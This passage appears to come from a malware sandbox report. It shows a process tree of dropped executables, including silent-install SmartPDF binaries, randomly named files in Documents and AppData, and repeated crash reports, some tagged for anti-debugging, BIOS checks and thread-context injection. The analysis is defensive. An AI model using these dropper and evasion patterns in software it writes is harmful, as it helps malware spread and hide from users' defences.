      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20424
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:22984
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 22984 -s 24
        7⤵
        
        PID:22988
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26652
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:24880
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:24544
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:25212
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21804
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:27708
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:28084
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:28452
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26004
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26692
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:1236
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:27652
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21548
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:28904
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:29204
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:29456
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:27876
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:29256
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:29624
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:17956
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 17956 -s 24
        7⤵
        
        PID:21572
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21612
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 21612 -s 160
        7⤵
        
        PID:12208
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:28172
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:29720
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:30064
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:30480
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:10456
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:6668
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:28856
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:31120
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:31368
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:31728
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:29580
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:29172
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:8
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent
        5⤵
        
        PID:12604
      - C:\Users\Admin\AppData\Local\Temp\is-Q9CM1.tmp\stats.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-Q9CM1.tmp\stats.tmp" /SL5="$50348,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent
        6⤵
        
        PID:11276
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe"
        5⤵
        
        PID:13276
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe"
        5⤵
        
        PID:1788
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"
        5⤵
        
        PID:6772
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe"
        5⤵
        
        PID:12508
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"
        5⤵
        
        PID:9916
- C:\Users\Admin\Documents\WK9HMn2W_NSjLUxbxV1esLv1.exe
  "C:\Users\Admin\Documents\WK9HMn2W_NSjLUxbxV1esLv1.exe"
  2⤵
  - Executes dropped EXE
  PID:4044
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4044 -s 620
    3⤵
    - Program crash
    PID:5980
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4044 -s 656
    3⤵
    - Program crash
    PID:7160
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4044 -s 692
    3⤵
    - Program crash
    PID:6700
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4044 -s 704
    3⤵
    - Program crash
    PID:4264
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4044 -s 828
    3⤵
    - Program crash
    PID:9224
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4044 -s 832
    3⤵
    - Program crash
    PID:9388
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4044 -s 820
    3⤵
    PID:25160
- C:\Users\Admin\Documents\fiAMWJfJ0xZMnwLKUtR5Nqfk.exe
  "C:\Users\Admin\Documents\fiAMWJfJ0xZMnwLKUtR5Nqfk.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2152
- - C:\Users\Admin\AppData\Roaming\7375177.exe
    "C:\Users\Admin\AppData\Roaming\7375177.exe"
    3⤵
    PID:6004
- - C:\Users\Admin\AppData\Roaming\1339154.exe
    "C:\Users\Admin\AppData\Roaming\1339154.exe"
    3⤵
    PID:2972
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2972 -s 780
      4⤵
      Program crash
      PID:6840
- - C:\Users\Admin\AppData\Roaming\3877831.exe
    "C:\Users\Admin\AppData\Roaming\3877831.exe"
    3⤵
    PID:4164
- - C:\Users\Admin\AppData\Roaming\5744656.exe
    "C:\Users\Admin\AppData\Roaming\5744656.exe"
    3⤵
    PID:4648
- - C:\Users\Admin\AppData\Roaming\7977986.exe
    "C:\Users\Admin\AppData\Roaming\7977986.exe"
    3⤵
    PID:6548
- C:\Users\Admin\Documents\zImN8jelwH66zKx_o_Cb0Vnw.exe
  "C:\Users\Admin\Documents\zImN8jelwH66zKx_o_Cb0Vnw.exe"
  2⤵
  - Executes dropped EXE
  PID:1124
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 724
    3⤵
    - Program crash
    PID:4696
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 756
    3⤵
    - Program crash
    PID:5720
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 708
    3⤵
    - Program crash
    PID:5344
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 1188
    3⤵
    - Program crash
    PID:6652
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 1148
    3⤵
    - Program crash
    PID:4552
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 1260
    3⤵
    - Program crash
    PID:6256
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 1216
    3⤵
    - Program crash
    PID:6816
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 1308
    3⤵
    - Program crash
    PID:2260
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 1344
    3⤵
    - Program crash
    PID:7320
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 1412
    3⤵
    - Program crash
    PID:7724
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 1368
    3⤵
    - Program crash
    PID:3868
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 1292
    3⤵
    - Program crash
    PID:7732
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 1400
    3⤵
    - Program crash
    PID:5348
- C:\Users\Admin\Documents\JXbzb4Qc_teqR7O8aVbThc51.exe
  "C:\Users\Admin\Documents\JXbzb4Qc_teqR7O8aVbThc51.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1976
- - C:\Users\Admin\AppData\Roaming\3135243.exe
    "C:\Users\Admin\AppData\Roaming\3135243.exe"
    3⤵
    PID:5228
- - C:\Users\Admin\AppData\Roaming\2621074.exe
    "C:\Users\Admin\AppData\Roaming\2621074.exe"
    3⤵
    PID:5728
  - - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
      4⤵
      PID:7312
- - C:\Users\Admin\AppData\Roaming\8780665.exe
    "C:\Users\Admin\AppData\Roaming\8780665.exe"
    3⤵
    PID:5788
- - C:\Users\Admin\AppData\Roaming\3345758.exe
    "C:\Users\Admin\AppData\Roaming\3345758.exe"
    3⤵
    PID:1852
- - C:\Users\Admin\AppData\Roaming\1452517.exe
    "C:\Users\Admin\AppData\Roaming\1452517.exe"
    3⤵
    PID:2188
- C:\Users\Admin\Documents\RiRRIRwZO3x9UtFL7ASnulws.exe
  "C:\Users\Admin\Documents\RiRRIRwZO3x9UtFL7ASnulws.exe"
  2⤵
  - Executes dropped EXE
  PID:208
- C:\Users\Admin\Documents\u2Kej1T0RCQhBaoaxiT90hPk.exe
  "C:\Users\Admin\Documents\u2Kej1T0RCQhBaoaxiT90hPk.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:4636
- C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
  "C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4736
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:4480
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 24
      4⤵
      Program crash
      PID:1968
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:5936
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:6448
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:4480
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:5268
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:6340
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:6576
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:6832
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:4664
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:6256
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:7272
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:7612
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:7964
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:7320
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:8028
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:5852
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:7224
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:8012
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:5020
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:6116
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:8316
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:8596
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:8888
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:8252
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:9084
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:8616
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:8376
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:6984
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:9068
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:8264
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:9404
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:9884
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:9464
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:9664
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:7656
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:5360
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:6824
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:4340
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:5912
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:10656
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:7528
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:8584
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:10388
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:7600
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:3792
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:5220
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:9128
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:11484
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:11752
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:12064
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:12276
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:11512
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:2200
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:10640
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:7800
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:10744
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:10520
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:9696
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:10404
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:11668
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:352
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:10212
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:12316
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:12640
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:12960
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:13276
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:12080
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:12332
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:12728
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:7960
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:13636
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:14076
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:6888
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:13984
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:6888
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:13912
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:14544
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:14908
